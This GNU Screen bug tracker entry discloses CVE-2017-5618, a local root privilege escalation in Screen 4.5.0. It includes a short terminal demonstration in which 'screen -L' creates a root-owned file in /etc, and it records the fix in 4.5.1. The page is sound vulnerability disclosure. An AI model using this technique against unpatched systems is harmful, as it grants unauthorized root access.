bugGNU Screen - Bugs: bug #50142, CVE-2017-5618 - root exploit 4.5.0


bug #50142: CVE-2017-5618 - root exploit 4.5.0

Submitted by:  None
Submitted on:  Tue 24 Jan 2017 07:05:09 PM UTC  
Category: Program LogicSeverity: 3 - Normal
Priority: 5 - NormalStatus: Fixed
Privacy: PublicAssigned to: Alexander Naumov <anaumov>
Open/Closed: ClosedRelease: 4.5.0
Fixed Release: 4.5.1Planned Release: 4.5.1
Work Required: None

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Mon 06 Feb 2017 09:54:43 PM UTC, comment #1:


Alexander Naumov <anaumov>
Project AdministratorIn charge of this item.
Tue 24 Jan 2017 07:05:09 PM UTC, original submission:

Commit f86a374 ("screen.c: adding permissions check for the logfile name", 2015-11-04)

The check opens the logfile with full root privileges. This allows us to truncate any file or create a root-owned file with any contents in any directory and can be easily exploited to full root access in several ways.

> buczek@theinternet:~$ screen --version
> Screen version 4.05.00 (GNU) 10-Dec-16
> buczek@theinternet:~$ id
> uid=125(buczek) gid=125(buczek) groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)
> buczek@theinternet:~$ cd /etc
> buczek@theinternet:/etc (master)$ screen -D -m -L bla.bla echo fail
> buczek@theinternet:/etc (master)$ ls -l bla.bla
> -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla
> buczek@theinternet:/etc (master)$ cat bla.bla
> fail
> buczek@theinternet:/etc (master)$

Donald Buczek <buczek@molgen.mpg.de>



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  • -unavailable- added by anaumov (Posted a comment)
  • -unavailable- added by amade (Updated the item)

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    Follow 9 latest changes.

    Date Changed By Updated Field Previous Value => Replaced By
    Mon 06 Feb 2017 09:54:43 PM UTCanaumovStatusIn Progress=>Fixed
      Fixed ReleaseNone=>4.5.1
    Fri 03 Feb 2017 03:33:03 PM UTCamadeStatusNone=>In Progress
      Assigned toNone=>anaumov
      Planned ReleaseNone=>4.5.1
      Summaryroot exploit 4.5.0=> CVE-2017-5618 - root exploit 4.5.0

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